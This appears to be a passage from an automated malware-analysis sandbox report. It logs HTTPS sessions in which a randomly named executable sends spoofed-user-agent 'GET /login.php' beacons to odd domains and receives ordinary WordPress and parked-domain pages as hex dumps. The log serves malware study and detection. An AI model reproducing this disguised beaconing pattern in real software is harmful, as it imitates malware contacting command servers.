2024-11-11 17:50:58 UTC	1369	IN	Data Raw: 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d Data Ascii: html-notbuilt:not(.i-amphtml-layout-container)>,[layout]:not([layout=container]):not(.i-amphtml-element)>,[width][height][heights]:not([layout]):not(.i-amphtml-element)>,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>{display:none}amp-im
2024-11-11 17:50:58 UTC	1369	IN	Data Raw: 6d 70 6f 72 74 61 6e 74 3b 62 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b Data Ascii: mportant;bottom:0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{back
2024-11-11 17:50:58 UTC	1369	IN	Data Raw: 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 61 6d 70 2d 73 74 6f 72 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 3e 61 6d 70 2d 61 6e 61 6c 79 74 69 63 73 7b 70 6f 73 69 74 69 6f 6e 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 5b 76 69 73 69 62 6c 65 2d 77 68 65 6e 2d 69 6e 76 61 6c 69 64 5d 3a 6e 6f 74 28 2e 76 69 73 69 62 6c 65 29 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 Data Ascii: ant;overflow:hidden!important;visibility:hidden}amp-story{visibility:hidden!important}html.i-amphtml-fie>amp-analytics{position:initial!important}[visible-when-invalid]:not(.visible),form [submit-error],form [submit-success],form [submitting]{display:none

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	52171	188.114.96.3	443	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:51:08 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com Connection: Keep-Alive
2024-11-11 17:51:09 UTC	956	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Nov 2024 17:51:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M%2BjkOH46Ad7pds8uH%2FYqKlYGA9iz3%2FTkRCsONZ6WSREcNM%2FpFMR1K0UJv8DH9lJ4mRuEBEbLQZBczqOo3%2BrB7SHivU3MjxTKmTnPeJSZk2PjevX%2FL0T0Sh8%2BgQFqfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1020f139fe5e82-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1399&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2019525&cwnd=250&unsent_bytes=0&cid=0dba1a167853490a&ts=1011&x=0"
2024-11-11 17:51:09 UTC	413	IN	Data Raw: 37 63 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e Data Ascii: 7ca2<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
2024-11-11 17:51:09 UTC	1369	IN	Data Raw: 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 Data Ascii: }</style><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><me
2024-11-11 17:51:09 UTC	1369	IN	Data Raw: 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e Data Ascii: ;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.
2024-11-11 17:51:09 UTC	1369	IN	Data Raw: 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d Data Ascii: defined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=
2024-11-11 17:51:09 UTC	1369	IN	Data Raw: 7c 7b 7d 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e Data Ascii: \|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/min
2024-11-11 17:51:09 UTC	1369	IN	Data Raw: 72 20 2e 73 69 74 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d Data Ascii: r .site-description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem
2024-11-11 17:51:09 UTC	1369	IN	Data Raw: 6e 67 65 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e Data Ascii: nge]::-webkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .n
2024-11-11 17:51:09 UTC	1369	IN	Data Raw: 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e Data Ascii: y-content .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .
2024-11-11 17:51:09 UTC	1369	IN	Data Raw: 2d 76 69 73 69 62 6c 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 Data Ascii: -visible,.woocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,inpu
2024-11-11 17:51:09 UTC	1369	IN	Data Raw: 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 45 64 69 74 41 63 63 6f 75 6e 74 46 6f 72 6d 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 66 6f 72 6d 2d 72 6f 77 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 49 6e 70 75 74 2e 69 6e 70 75 74 2d 74 65 78 74 3a 66 6f 63 75 73 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 61 73 74 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 69 6e 61 74 69 6f 6e 20 75 6c 2e 70 61 67 65 2d 6e 75 6d 62 65 72 73 20 6c 69 20 61 3a 66 6f 63 75 73 2c 62 6f 64 79 20 23 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 72 6f 77 20 2e 73 65 6c 65 63 74 32 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 64 65 66 61 75 6c 74 Data Ascii: content .woocommerce-EditAccountForm .woocommerce-form-row .woocommerce-Input.input-text:focus,.woocommerce .ast-woocommerce-container .woocommerce-pagination ul.page-numbers li a:focus,body #content .woocommerce form .form-row .select2-container--default

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50210	99.83.170.3	443	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:51:09 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com Connection: Keep-Alive
2024-11-11 17:51:09 UTC	352	IN	HTTP/1.1 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate Content-Type: text/html; charset=utf-8 Date: Mon, 11 Nov 2024 17:51:09 GMT Etag: "ua6lz52rn119wv" Server: Caddy Server: awselb/2.0 Vary: Accept-Encoding X-Powered-By: Next.js Connection: close Transfer-Encoding: chunked
2024-11-11 17:51:09 UTC	2372	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
2024-11-11 17:51:09 UTC	1724	IN	Data Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
2024-11-11 17:51:09 UTC	4744	IN	Data Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
2024-11-11 17:51:09 UTC	5930	IN	Data Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
